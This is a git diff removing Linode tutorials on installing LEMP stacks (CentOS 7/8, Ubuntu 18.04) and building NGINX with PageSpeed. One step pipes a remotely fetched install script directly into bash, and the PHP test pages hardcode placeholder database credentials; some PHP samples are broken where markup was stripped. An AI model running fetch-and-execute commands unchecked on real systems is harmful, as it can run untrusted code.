arbitrary code execution if the requested `.php` file is not present in the filesystem. See [this tutorial](https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/?highlight=pitfalls#passing-uncontrolled-requests-to-php) for more information about this vulnerability. - - sudo sed -i 's/;cgi.fix_pathinfo=1/cgi.fix_pathinfo=0/g' /etc/php.ini - -## Set an NGINX Site Configuration File - -1. Create a root directory where the site's content will live. Replace *example.com* with your site's domain. - - sudo mkdir -p /var/www/html/example.com/public_html - -2. Assign the ownership of the directory to `$USER`: - - sudo chown -R $USER:$USER /var/www/html/example.com/public_html - -1. Use SELinux’s `chcon` command to change the file security context for web content, replace `example.com` with your domain name: - - sudo chcon -t httpd_sys_content_t /var/www/html/example.com -R - sudo chcon -t httpd_sys_rw_content_t /var/www/html/example.com -R - -3. Update the document root location of the web content in `/etc/nginx/nginx.conf` file. - - {{< file "/etc/nginx/nginx.conf" nginx >}} -server { - listen 80; - listen [::]:80; - server_name _; - root /var/www/html/example.com/public_html; - - # Load configuration files for the default server block. - include /etc/nginx/default.d/*.conf; - - location / { - } - - error_page 404 /404.html; - location = /40x.html { - } - - error_page 500 502 503 504 /50x.html; - location = /50x.html { - } - -{{< /file >}} - -3. Create a `example.com.conf` configuration file for your domain in `etc/nginx/conf.d` directory. Replace *example.com* with your domain in the contents of the file: - - {{< file "/etc/nginx/conf.d/example.com.conf" nginx >}} - server { - listen 80; - listen [::]:80; - server_name example.com www.example.com; - root /var/www/html/example.com/public_html; - index index.html; - - location / { - try_files $uri $uri/ =404; - } - location ~* \.php$ { - fastcgi_pass unix:/run/php-fpm/www.sock; - include fastcgi_params; - fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; - fastcgi_param SCRIPT_NAME $fastcgi_script_name; - } -} - -{{< /file >}} - -## Configure FirewallD - -FirewallD is enabled for CentOS 8 Linodes, but HTTP and HTTPS are not included in the default set of services. - -1. View the default set of services: - - sudo firewall-cmd --zone=public --list-services - - {{< output >}} -cockpit dhcpv6-client ssh -{{< /output >}} - -1. To allow connections to NGINX, add HTTP and HTTPS as a service: - - sudo firewall-cmd --zone=public --add-service=http --permanent - sudo firewall-cmd --zone=public --add-service=https --permanent - sudo firewall-cmd --reload -{{< note >}}In addition, if you plan to use any HTTPD scripts on the server, update the corresponding SELinux Boolean variable. To allow HTTPD scripts and modules to connect to the network, use `sudo setsebool -P httpd_can_network_connect on` command.{{< /note >}} - -## Test the LEMP Stack - -1. To ensure that your web server can be reached with your domain name, configure the [DNS records](https://techdocs.akamai.com/cloud-computing/docs/dns-manager) for your domain to point to your Linode's IP address. - -2. Restart PHP and reload the NGINX configuration: - - sudo systemctl restart php-fpm - sudo nginx -s reload - -3. Test the NGINX configuration: - - sudo nginx -t - -4. Create a test page to verify NGINX can render PHP and connect to the MariaDB database. Replace the `"testuser"` and `"password"` fields with the MariaDB credentials you created above. - - {{< file "/var/www/html/example.com/public_html/test.php" php >}} - - -

LEMP Stack Test

- - - Hello,

'; - - // Define PHP variables for the MySQL connection. - $servername = "localhost"; - $username = "testuser"; - $password = "password"; - - // Create a MySQL connection. - $conn = mysqli_connect($servername, $username, $password); - - // Report if the connection fails or is successful. - if (!$conn) { - exit('

Your connection has failed.

' . mysqli_connect_error()); - } - echo '

You have connected successfully.

'; - ?> - - - -{{< /file >}} - -5. Go to `http://example.com/test.php` in a web browser. It should report that *You have connected successfully*. - - ![LEMP Stack Test Page Success](lemp-stack-test-page.png "LEMP Stack Test Page Success") - - If you see an error message or if the page does not load at all, re-check your configuration. If your DNS changes haven't propagated yet, you can test your page with `curl` instead: - - curl -H "Host: example.com" http:///test.php - - {{< highlight html >}} - - -

LEMP Stack Test

- - -

Hello,

You have connected successfully.

- -{{}} - -6. Remove the test file once the stack is working correctly: - - sudo rm /var/www/html/example.com/public_html/test.php - -## Next Steps - -For more on the software in this stack see the following guides: -- [Getting Started with NGINX](/cloud/guides/getting-started-with-nginx-part-1-installation-and-basic-setup/) -- [Serve PHP with PHP-FPM and NGINX](/cloud/guides/serve-php-php-fpm-and-nginx/) diff --git a/docs/guides/web-servers/lemp/how-to-install-the-lemp-stack-on-ubuntu-18-04/index.md b/docs/guides/web-servers/lemp/how-to-install-the-lemp-stack-on-ubuntu-18-04/index.md deleted file mode 100644 index e20326403c7..00000000000 --- a/docs/guides/web-servers/lemp/how-to-install-the-lemp-stack-on-ubuntu-18-04/index.md +++ /dev/null @@ -1,238 +0,0 @@ ---- -slug: how-to-install-the-lemp-stack-on-ubuntu-18-04 -title: 'Installing the LEMP Stack on Ubuntu 18.04' -title_meta: 'How to Install the LEMP Stack on Ubuntu 18.04' -description: 'This guide will show you how to install the LEMP Stack (Linux, NGINX, MySQL, and PHP) which is a popular alternative to the LAMP stack, on Ubuntu 18.04.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2018-06-04 -modified: 2020-03-18 -keywords: ["nginx", "lemp", "php", "mariadb", "mysql", "ubuntu"] -tags: ["lemp","web server","php","mysql","ubuntu","nginx"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: How-to-Install-LEMP-Stack-on-Ubuntu-1804_1200x631.png -relations: - platform: - key: install-lemp-stack - keywords: - - distribution: Ubuntu 18.04 -aliases: ['/web-servers/lemp/how-to-install-a-lemp-server-on-ubuntu-18-04/','/web-servers/lemp/how-to-install-the-lemp-stack-on-ubuntu-18-04/'] ---- - - - -## What is the LEMP Stack? - -The LAMP stack (Linux, Apache, MariaDB, and PHP) is a popular server configuration for developing and hosting web applications. The four components of the stack are not tightly coupled, making it possible to substitute your preferred technologies. The **LEMP** stack is a common variant in which the Apache web server is replaced by NGINX, pronounced "engine-x", thus providing the "E". - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -{{< note >}}If you have a registered domain name for your website, then [add the domain](https://techdocs.akamai.com/cloud-computing/docs/create-a-domain) to the Linode server on which you plan to install the LEMP stack. If you do not have a registered domain name, then replace `example.com` with the IP address of the Linode server in the following instructions.{{< /note >}} - -## Installation - -### NGINX - -Install NGINX from the package repository: - - sudo apt install nginx - -### MariaDB - -MariaDB is a popular fork of MySQL, and its development is considered to be more open and transparent than MySQL's. MariaDB is administered with the same commands as MySQL. - -1. Install the MariaDB server and MySQL/MariaDB-PHP support: - - sudo apt install mariadb-server php-mysql - -2. Log in to MariaDB's SQL shell: - - sudo mysql -u root - - The database will not prompt you for a password, as it is initially configured to use the `unix_socket` authorization plugin. This authorization scheme allows you to log in to the database's root user as long as you are connecting from the Linux root user on localhost: - - SELECT user,host,authentication_string,plugin FROM mysql.user; - - {{< highlight sql >}} -+------+-----------+-----------------------+-------------+ -| user | host | authentication_string | plugin | -+------+-----------+-----------------------+-------------+ -| root | localhost | | unix_socket | -+------+-----------+-----------------------+-------------+ -1 row in set (0.00 sec) -{{< /highlight >}} - - You can keep using the `unix_socket` plugin for the root user; this is considered a secure option for production systems, and it is needed for certain Ubuntu maintenance scripts to run normally. Further reading on this subject is available in `/usr/share/doc/mariadb-server-10.1/README.Debian.gz` on your filesystem. - -3. Create a test database and user with access permission. Replace `testdb` and `testuser` with appropriate names for your setup. Replace `password` with a strong password. - - {{< highlight sql >}} -CREATE DATABASE testdb; -CREATE USER 'testuser' IDENTIFIED BY 'password'; -GRANT ALL PRIVILEGES ON testdb.* TO 'testuser'; -{{< /highlight >}} - -4. Exit the SQL shell: - - {{< highlight sql >}} -quit -{{< /highlight >}} - -5. Use the *[mysql_secure_installation](https://mariadb.com/kb/en/library/mysql_secure_installation/)* tool to configure additional security options. You will be given the choice to change the MariaDB root password, remove anonymous user accounts, disable root logins outside of localhost, and remove test databases. It is recommended that you answer `yes` to these options. You can read more about the script in the [MariaDB Knowledge Base](https://mariadb.com/kb/en/mariadb/mysql_secure_installation/). - - sudo mysql_secure_installation - -### PHP - -1. Install the PHP FastCGI Processing Manager, which includes the core PHP dependencies: - - sudo apt install php-fpm - -2. Tell PHP to only accept URIs for files that actually exist on the server. This mitigates a security vulnerability where the PHP interpreter can be tricked into allowing arbitrary code execution if the requested `.php` file is not present in the filesystem. See [this tutorial](https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/?highlight=pitfalls#passing-uncontrolled-requests-to-php) for more information about this vulnerability. - - sudo sed -i 's/;cgi.fix_pathinfo=1/cgi.fix_pathinfo=0/g' /etc/php/7.2/fpm/php.ini - -## Set an NGINX Site Configuration File - -1. Create a root directory where the site's content will live. Replace *example.com* with your site's domain. - - sudo mkdir -p /var/www/html/example.com/public_html - -2. Create a copy of the default configuration file for your site: - - sudo cp /etc/nginx/sites-enabled/default /etc/nginx/sites-available/example.com.conf - -3. Open the new example.com configuration file in your text editor. Create a configuration file with the example content. Replace *example.com* with your domain in both the file name and in the contents of the file: - - {{< file "/etc/nginx/sites-available/example.com.conf" nginx >}} -server { - listen 80; - listen [::]:80; - server_name example.com www.example.com; - root /var/www/html/example.com/public_html; - index index.html; - - location / { - try_files $uri $uri/ =404; - } - - location ~* \.php$ { - fastcgi_pass unix:/run/php/php7.2-fpm.sock; - include fastcgi_params; - fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; - fastcgi_param SCRIPT_NAME $fastcgi_script_name; - } -} -{{< /file >}} - - Here's a breakdown of the `server` block above: - - - NGINX is listening on port `80` for incoming connections to `example.com` or `www.example.com`. - - - The site is served out of `/var/www/html/example.com/public_html` and its index page (`index.html`) is a simple `.html` file. **If your index page will use PHP like WordPress does, substitute `index.html` for `index.php`.** - - - `try_files` tells NGINX to verify that a requested file or directory [actually exists](https://nginx.org/en/docs/http/ngx_http_core_module.html#try_files) in the site's root filesystem before further processing the request. If it does not, a `404` is returned. - - - `location ~* \.php$` means that NGINX will apply this configuration to all .php files (file names are not case sensitive) in your site’s root directory, including any subdirectories containing PHP files. - - - The `*` in the `~* \.php$` location directive indicates that PHP file names are not case sensitive. This can be removed if you prefer to enforce letter case. - - - `fastcgi_pass` specifies the [UNIX socket](https://nginx.org/en/docs/http/ngx_http_fastcgi_module.html#fastcgi_pass) where PHP listens for incoming connections from other local processes. - - - `include fastcgi_params` tells NGINX to process a list of `fastcgi_param` variables at `/etc/nginx/fastcgi_params`. - - - The `fastcgi_param` directives contain the [location](https://nginx.org/en/docs/http/ngx_http_fastcgi_module.html#variables) (relative to the site's root directory) and file [naming convention](https://nginx.org/en/docs/http/ngx_http_fastcgi_module.html#fastcgi_index) of PHP scripts to be served when called by NGINX. - -4. Create a link to your website configuration file from within the sites-enabled directory. Change the name of the file to the name you used for your domain: - - sudo ln -s /etc/nginx/sites-available/example.com.conf /etc/nginx/sites-enabled/ - -## Enable Firewall - -If you configured UFW on your server, enable the firewall to allow web traffic. - -1. Check the ports that are enabled for `Nginx Full` Profile: - - sudo ufw app info "Nginx Full" - - Ports `80` and `443` should be listed as enabled for `Nginx Full` profile. - -1. If these ports are not allowed, enable them with the following command: - - sudo ufw allow in "Nginx Full" - -## Test the LEMP Stack - -1. To ensure that your web server can be reached with your domain name, configure the [DNS records](https://techdocs.akamai.com/cloud-computing/docs/dns-manager) for your domain to point to your Linode's IP address. - -2. Restart PHP and reload the NGINX configuration: - - sudo systemctl restart php7.2-fpm - sudo nginx -s reload - -3. Test the NGINX configuration: - - sudo nginx -t - -4. Create a test page to verify NGINX can render PHP and connect to the MariaDB database. Replace the `"testuser"` and `"password"` fields with the MariaDB credentials you created above. - - {{< file "/var/www/html/example.com/public_html/test.php" php >}} - - -

LEMP Stack Test

- - - Hello,

'; - - // Define PHP variables for the MySQL connection. - $servername = "localhost"; - $username = "testuser"; - $password = "password"; - - // Create a MySQL connection. - $conn = mysqli_connect($servername, $username, $password); - - // Report if the connection fails or is successful. - if (!$conn) { - exit('

Your connection has failed.

' . mysqli_connect_error()); - } - echo '

You have connected successfully.

'; - ?> - - - -{{< /file >}} - -5. Go to `http://example.com/test.php` in a web browser. It should report that *You have connected successfully*. - - ![LEMP Stack Test Page Success](lemp-stack-test-page.png "LEMP Stack Test Page Success") - - If you see an error message or if the page does not load at all, re-check your configuration. If your DNS changes haven't propagated yet, you can test your page with `curl` instead: - - curl -H "Host: example.com" http:///test.php - - {{< highlight html >}} - - -

LEMP Stack Test

- - -

Hello,

You have connected successfully.

- -{{}} - -6. Remove the test file once the stack is working correctly: - - sudo rm /var/www/html/example.com/public_html/test.php - -## Next Steps - -For more on the software in this stack see the following guides: - -- [Getting Started with NGINX](/cloud/guides/getting-started-with-nginx-part-1-installation-and-basic-setup/) -- [Set Up MariaDB Clusters with Galera](/cloud/guides/set-up-mariadb-clusters-with-galera-debian-and-ubuntu/) -- [Serve PHP with PHP-FPM and NGINX](/cloud/guides/serve-php-php-fpm-and-nginx/) diff --git a/docs/guides/web-servers/lemp/lemp-stack-on-centos-7-with-fastcgi/index.md b/docs/guides/web-servers/lemp/lemp-stack-on-centos-7-with-fastcgi/index.md deleted file mode 100644 index e9c4898eea8..00000000000 --- a/docs/guides/web-servers/lemp/lemp-stack-on-centos-7-with-fastcgi/index.md +++ /dev/null @@ -1,189 +0,0 @@ ---- -slug: lemp-stack-on-centos-7-with-fastcgi -title: "Install a LEMP Stack on CentOS 7" -description: "This guide shows how to install and configure a LEMP Stack (Linux, NGINX, MySQL, and PHP) which is a popular alternative to the LAMP stack on CentOS 7." -authors: ["Linode"] -contributors: ["Linode"] -published: 2014-12-11 -modified: 2021-12-29 -keywords: ["nginx", "lemp", "php", 'mariadb'] -tags: ["lemp","web server","php","mysql","centos","nginx"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/web-servers/lemp/lemp-server-on-centos-7-with-fastcgi/','/web-servers/lemp/lemp-stack-on-centos-7-with-fastcgi/','/websites/lemp/lemp-server-on-centos-7-with-fastcgi/','/websites/lemp-guides/centos-7/'] -image: lemp-on-centos-7-title-graphic.jpg ---- - -## What is a LEMP Stack? - -The LAMP stack (Linux, Apache, MariaDB, and PHP) is a popular server configuration for developing and hosting web applications. The four components of the stack are not tightly coupled, making it possible to substitute your preferred technologies. The LEMP stack is a common variant in which the Apache web server is replaced by NGINX. - -## Before You Begin - -1. You need root access to the system or a user account with `sudo` privilege. -2. Set your system's [hostname](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#configure-a-custom-hostname). -3. Update your system. - -## Installation - -### NGINX - -{{% content "install-nginx-centos" %}} - -### MariaDB - -1. Install the MariaDB server and MySQL/MariaDB-PHP support. You may be prompted to set a root password during installation. - - sudo yum install mariadb-server php-mysql - -2. Ensure MariaDB is running and enabled to start automatically on reboot: - - sudo systemctl start mariadb - sudo systemctl enable mariadb - -3. Run the *[mysql_secure_installation](https://mariadb.com/kb/en/library/mysql_secure_installation/)* script: - - sudo mysql_secure_installation - - If you were not prompted to create a MySQL root user password when installing MariaDB, press enter when prompted for the root password: - - Enter current password for root (enter for none): - - Set a password when prompted: - - Set root password? [Y/n] - - Answer **Y** at the following prompts: - - - Remove anonymous users? - - Disallow root login remotely? - - Remove test database and access to it? - - Reload privilege tables now? - -4. Log in to MariaDB's SQL shell. Enter the `root` user's password when prompted. - - mysql -u root -p - -5. Create a test database and user with access permission. Replace `testdb` and `testuser` with appropriate names for your setup. Replace `password` with a strong password. - - {{< highlight sql >}} -CREATE DATABASE testdb; -CREATE USER 'testuser' IDENTIFIED BY 'password'; -GRANT ALL PRIVILEGES ON testdb.* TO 'testuser'; -quit -{{< /highlight >}} - -### PHP - -1. Install the PHP FastCGI Processing Manager, which will bring in the core PHP dependencies: - - sudo yum install php-fpm - -2. Ensure PHP-FPM is running and enabled to start automatically on reboots: - - sudo systemctl start php-fpm - sudo systemctl enable php-fpm - -3. Tell PHP to only accept URIs for files that actually exist on the server. This mitigates a security vulnerability where the PHP interpreter can be tricked into allowing arbitrary code execution if the requested `.php` file is not present in the filesystem. See [this tutorial](https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/?highlight=pitfalls#passing-uncontrolled-requests-to-php) for more information about this vulnerability. - - sudo sed -i 's/;cgi.fix_pathinfo=1/cgi.fix_pathinfo=0/g' /etc/php.ini - -4. PHP is set to run under the `apache` user by default, but this user needs to match the user and group used by NGINX. If you installed NGINX from the NGINX repository as described above, NGINX will use the `nginx` user and group. Change the `user` and `group` variables in `www.conf` to match: - - sudo sed -i 's/user = apache/user = nginx/g' /etc/php-fpm.d/www.conf - sudo sed -i 's/group = apache/group = nginx/g' /etc/php-fpm.d/www.conf - -## Set an NGINX Site Configuration File - -1. Create a root directory for your site. Replace *example.com* with your site's domain: - - sudo mkdir -p /var/www/example.com/ - -2. Disable the default site configuration provided with the package as an example: - - sudo mv /etc/nginx/conf.d/default.conf /etc/nginx/conf.d/default.conf.disabled - -3. Website configuration files should be kept in `/etc/nginx/conf.d/`. Create a configuration file for your site. Again replace *example.com* with your site's domain. - - {{< file "/etc/nginx/conf.d/example.com.conf" nginx >}} -server { - listen 80 default_server; - listen [::]:80 default_server; - server_name example.com www.example.com; - root /var/www/example.com; - index index.html; - - location / { - try_files $uri $uri/ =404; - } - - location ~* \.php$ { - fastcgi_pass 127.0.0.1:9000; - include fastcgi_params; - fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; - fastcgi_param SCRIPT_NAME $fastcgi_script_name; - } -} -{{< /file >}} - - The `server` block above specifies the following configuration options: - - - NGINX is listening on port 80 for incoming connections to *example.com* or *www.example.com*. - - - The site is served out of `/var/www/example.com/` and its index page (`index.html`) is an `.html` file. If your index page will use PHP, substitute `index.php` for `index.html`. - - - `try_files` tells NGINX to verify that a requested file or directory [actually exist](https://nginx.org/en/docs/http/ngx_http_core_module.html#try_files) in the site's root filesystem before further processing the request. If it does not, a `404` is returned. - - - `location ~* \.php$` tells NGINX to apply this configuration to all .php files (file names are not case sensitive) in your site’s root directory, including any subdirectories containing PHP files. - - - The `*` in the `~* \.php$` location directive indicates that PHP file names are not case sensitive. This can be removed if you prefer to enforce letter case. - - - `fastcgi_pass` specifics the [IP address and port](https://nginx.org/en/docs/http/ngx_http_fastcgi_module.html#fastcgi_pass) where PHP listens for incoming connections from other local processes. - - - `include fastcgi_params` tells NGINX to process a list of `fastcgi_param` variables at `/etc/nginx/fastcgi_params`. - - - The `fastcgi_param` directives contain the [location](https://nginx.org/en/docs/http/ngx_http_fastcgi_module.html#variables) (relative to the site's root directory) and file [naming convention](https://nginx.org/en/docs/http/ngx_http_fastcgi_module.html#fastcgi_index) of PHP scripts to be served when called by NGINX. - -4. To check the NGINX configuration file syntax by simply typing a command: - - sudo nginx -t - -## Test the LEMP Stack - -1. Restart PHP and reload the NGINX configuration: - - sudo systemctl restart php-fpm - sudo nginx -s reload - -2. Create a test page to verify NGINX can render PHP and connect to the MySQL database. Replace `testuser` and `password` with the MySQL credentials you created above. - - {{< file "/var/www/example.com/test.php" php >}} - - -

LEMP Stack Test

- - - Hello,

'; - - // Define PHP variables for the MySQL connection. - $servername = "localhost"; - $username = "testuser"; - $password = "password"; - - // Create a MySQL connection. - $conn = mysqli_connect($servername, $username, $password); - - // Report if the connection fails or is successful. - if (!$conn) { - exit('

Your connection has failed.

' . mysqli_connect_error()); - } - echo '

You have connected successfully.

'; - ?> - - -{{< /file >}} - -2. Go to `http://example.com/test.php` in a web browser. It should report that *You have connected successfully*. If you see an error message or if the page does not load, re-check your configuration. - -3. Remove the test file once you have confirmed that the stack is working correctly: - - sudo rm /var/www/example.com/test.php diff --git a/docs/guides/web-servers/nginx/build-nginx-with-pagespeed-from-source/index.md b/docs/guides/web-servers/nginx/build-nginx-with-pagespeed-from-source/index.md deleted file mode 100644 index b2944c8b979..00000000000 --- a/docs/guides/web-servers/nginx/build-nginx-with-pagespeed-from-source/index.md +++ /dev/null @@ -1,336 +0,0 @@ ---- -slug: build-nginx-with-pagespeed-from-source -title: 'Build NGINX with PageSpeed From Source' -description: 'This guide provides you with step-by-step instructions for compiling the Nginx web server from scratch so you can use Google''s PageSpeed moduleon your website.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2019-02-01 -modified: 2018-02-12 -keywords: ["nginx","pagespeed","optimization"] -license: '[CC BY-ND 4.0](http://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/web-servers/nginx/install-nginx-pagespeed-module-on-ubuntu1604/','/web-servers/nginx/nginx-with-pagespeed-on-ubuntu-14-04/','/web-servers/nginx/install-nginx-pagespeed-module-on-ubuntu1804/','/web-servers/nginx/build-nginx-with-pagespeed-from-source/'] -dedicated_cpu_link: true -tags: ["web server","nginx"] ---- - -![Build NGINX with PageSpeed From Source](build-nginx-pagespeed-from-source-title.jpg "Build NGINX with PageSpeed From Source title graphic") - -## What is Google PageSpeed? - -[PageSpeed](https://www.modpagespeed.com/) is a set of modules for NGINX and Apache which optimize and measure page performance of websites. Optimization is done by minifying static assets such as CSS and JavaScript, which decreases page load time. [PageSpeed Insights](https://developers.google.com/speed/pagespeed/insights/) is a tool that measures your site's performance, and makes recommendations for further modifications based on the results. - -There are currently two ways to get PageSpeed and NGINX working together: - -- Compile NGINX with support for PageSpeed, then compile PageSpeed. -- Compile PageSpeed as a [dynamic module](https://www.nginx.com/blog/compiling-dynamic-modules-nginx-plus/) to use with NGINX, whether NGINX was installed from source or a binary. - - {{< note respectIndent=false >}} -Installing NGINX from source requires several manual installation steps and will require manual maintenance when performing tasks like version upgrades. To install NGINX using a package manager see the [NGINX](/cloud/guides/web-servers/nginx/) section. - {{< /note >}} - -This guide will show how to compile both NGINX and PageSpeed. If you would prefer to use PageSpeed as a module for NGINX, see [this NGINX blog post](https://www.nginx.com/blog/optimize-website-google-pagespeed-dynamic-module-nginx-plus/) for instructions. - - -## Before You Begin - -- You should not have a pre-existing installation of NGINX. If you do, back up the configuration files if you want to retain their information, and then purge NGINX. - -- You will need root access to the system, or a user account with `sudo` privileges. - -- Set your system's [hostname](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#configure-a-custom-hostname). - -- Update your system's packages. - - -## Considerations for a Self-Compiled NGINX Installation - -**Filesystem Locations**: When you compile NGINX from source, the entire installation, including configuration files, is located at `/usr/local/nginx/nginx/`. This is in contrast to an installation from a package manager, which places its configuration files in `/etc/nginx/`. - -**Built-in Modules**: When you compile NGINX from source, no additional modules are included unless explicitly specified, which means that HTTPS is not supported by default. Below you can see the output of `nginx -V` using the PageSpeed automated install command on Ubuntu 18.04 with no additional modules or options specified. - -{{< output >}} -root@localhost:~# /usr/local/nginx/sbin/nginx -V -nginx version: nginx/1.17.3 -built by gcc 7.4.0 (Ubuntu 7.4.0-1ubuntu1~18.04.1) -configure arguments: --add-module=/root/incubator-pagespeed-ngx-latest-stable -{{< /output >}} - -Contrast this output with the same command run on the same Ubuntu system but with the binary installed from NGINX's repository: - -{{< output >}} -root@localhost:~# nginx -V -nginx version: nginx/1.17.3 -built by gcc 7.4.0 (Ubuntu 7.4.0-1ubuntu1~18.04.1) -built with OpenSSL 1.1.1 11 Sep 2018 -TLS SNI support enabled -configure arguments: --add-module=/root/incubator-pagespeed-ngx-latest-stable --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules --conf-path=/etc/nginx/nginx.conf --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --pid-path=/var/run/nginx.pid --lock-path=/var/run/nginx.lock --http-client-body-temp-path=/var/cache/nginx/client_temp --http-proxy-temp-path=/var/cache/nginx/proxy_temp --http-fastcgi-temp-path=/var/cache/nginx/fastcgi_temp --http-uwsgi-temp-path=/var/cache/nginx/uwsgi_temp --http-scgi-temp-path=/var/cache/nginx/scgi_temp --user=nginx --group=nginx --with-http_ssl_module --with-http_v2_module -{{< /output >}} - - -## Build NGINX and PageSpeed - -The official [PageSpeed documentation](https://www.modpagespeed.com/doc/build_ngx_pagespeed_from_source) provides a bash script to automate the installation process. - -{{< note >}} -The automated installation script will install several compilation tools needed to install PageSpeed. If you are using a production environment, ensure you uninstall any packages that are no longer needed after the installation has completed. -{{< /note >}} - -1. If you plan to serve your website using TLS, install the SSL libraries needed to compile the HTTPS module for NGINX: - - **CentOS/Fedora** - - sudo yum install openssl-devel - - **Ubuntu/Debian** - - sudo apt install libssl-dev - -2. Run the [Automated Install](https://www.modpagespeed.com/doc/build_ngx_pagespeed_from_source) bash command to start the installation: - - bash <(curl -f -L -sS https://ngxpagespeed.com/install) \ - --nginx-version latest - -3. During the build process, you'll be asked if you want to build NGINX with any additional modules. The PageSpeed module is already included, so you don't need to add it here. - - The options below are a recommended starting point; you can also add more specialized options for your particular use case. These options retain the directory paths, user and group names of pre-built NGINX binaries, and enable the SSL and HTTP/2 modules for HTTPS connections: - - --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules --conf-path=/etc/nginx/nginx.conf --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --pid-path=/var/run/nginx.pid --lock-path=/var/run/nginx.lock --http-client-body-temp-path=/var/cache/nginx/client_temp --http-proxy-temp-path=/var/cache/nginx/proxy_temp --http-fastcgi-temp-path=/var/cache/nginx/fastcgi_temp --http-uwsgi-temp-path=/var/cache/nginx/uwsgi_temp --http-scgi-temp-path=/var/cache/nginx/scgi_temp --user=nginx --group=nginx --with-http_ssl_module --with-http_v2_module - -4. You'll be asked if you want to configure nginx with the options that you added, answer *Y* to continue. - {{< output >}} - ./configure --add-module=/home/sudouser/incubator-pagespeed-ngx-latest-stable --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules --conf-path=/etc/nginx/nginx.conf --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --pid-path=/var/run/nginx.pid --lock-path=/var/run/nginx.lock --http-client-body-temp-path=/var/cache/nginx/client_temp --http-proxy-temp-path=/var/cache/nginx/proxy_temp --http-fastcgi-temp-path=/var/cache/nginx/fastcgi_temp --http-uwsgi-temp-path=/var/cache/nginx/uwsgi_temp --http-scgi-temp-path=/var/cache/nginx/scgi_temp --user=nginx --group=nginx --with-http_ssl_module --with-http_v2_module -Does this look right? [Y/n] y - -{{< /output >}} - -5. Next you'll be asked if you want to build NGINX. You'll be shown the destination directories for logs, configuration files and binaries. If these look correct, answer *Y* to continue. - - {{< output >}} -Configuration summary - + using system PCRE library - + using system OpenSSL library - + using system zlib library - - nginx path prefix: "/etc/nginx" - nginx binary file: "/usr/sbin/nginx" - nginx modules path: "/usr/lib/nginx/modules" - nginx configuration prefix: "/etc/nginx" - nginx configuration file: "/etc/nginx/nginx.conf" - nginx pid file: "/var/run/nginx.pid" - nginx error log file: "/var/log/nginx/error.log" - nginx http access log file: "/var/log/nginx/access.log" - nginx http client request body temporary files: "/var/cache/nginx/client_temp" - nginx http proxy temporary files: "/var/cache/nginx/proxy_temp" - nginx http fastcgi temporary files: "/var/cache/nginx/fastcgi_temp" - nginx http uwsgi temporary files: "/var/cache/nginx/uwsgi_temp" - nginx http scgi temporary files: "/var/cache/nginx/scgi_temp" - -Build nginx? [Y/n] - -{{< /output >}} - -5. If the build was successful, you'll see the following message: - - {{< output >}} -Nginx installed with ngx_pagespeed support compiled-in. - -If this is a new installation you probably need an init script to -manage starting and stopping the nginx service. See: - http://wiki.nginx.org/InitScripts - -You'll also need to configure ngx_pagespeed if you haven't yet: - https://developers.google.com/speed/pagespeed/module/configuration - -{{< /output >}} - -6. When you want to update NGINX, back up your configuration files and repeat steps two through four above to build with the new source version. - - -## Control NGINX - -NGINX can be controlled either by creating a systemd service or by calling the binary directly. Choose one of these methods and do not mix them. If you start NGINX using the binary commands, for example, systemd will not be aware of the process and will try to start another NGINX instance if you run `systemctl start nginx`, which will fail. - -**systemd** - -1. In a text editor, create `/lib/systemd/system/nginx.service` and add the following unit file from [the NGINX wiki](https://www.nginx.com/resources/wiki/start/topics/examples/systemd/): - - {{< file "/lib/systemd/system/nginx.service" >}} -[Unit] -Description=The NGINX HTTP and reverse proxy server -After=syslog.target network.target remote-fs.target nss-lookup.target - -[Service] -Type=forking -PIDFile=/run/nginx.pid -ExecStartPre=/usr/sbin/nginx -t -ExecStart=/usr/sbin/nginx -ExecReload=/bin/kill -s HUP $MAINPID -ExecStop=/bin/kill -s QUIT $MAINPID -PrivateTmp=true - -[Install] -WantedBy=multi-user.target -{{< /file >}} - -2. Enable NGINX to start on boot and start the server: - - systemctl enable nginx - systemctl start nginx - -3. NGINX can now be controlled as with any other systemd-controlled process: - - systemctl stop nginx - systemctl restart nginx - systemctl status nginx - -**NGINX binary** - -You can use NGINX's binary to control the process directly without making a startup file for your init system. - -1. Start NGINX: - - /usr/sbin/nginx - -2. Reload the configuration: - - /usr/sbin/nginx -s reload - -3. Stop NGINX: - - /usr/sbin/nginx -s stop - - - -## Configuration - -### NGINX - -1. Since the compiled options specified above are different than the source's defaults, some additional configuration is necessary. Replace *example.com* in the following commands with your Linode's public IP address or domain name: - - sudo useradd --no-create-home nginx - sudo mkdir -p /var/cache/nginx/client_temp - sudo mkdir /etc/nginx/conf.d/ - sudo mkdir /var/www/ - sudo mkdir /var/www/example.com - sudo chown nginx:nginx /var/www/example.com - sudo mv /etc/nginx/nginx.conf.default /etc/nginx/nginx.conf.backup-default - -2. In NGINX terminology, a *Server Block* equates to a website (similar to the *Virtual Host* in Apache terminology). Each NGINX site's configuration should be in its own file with the name 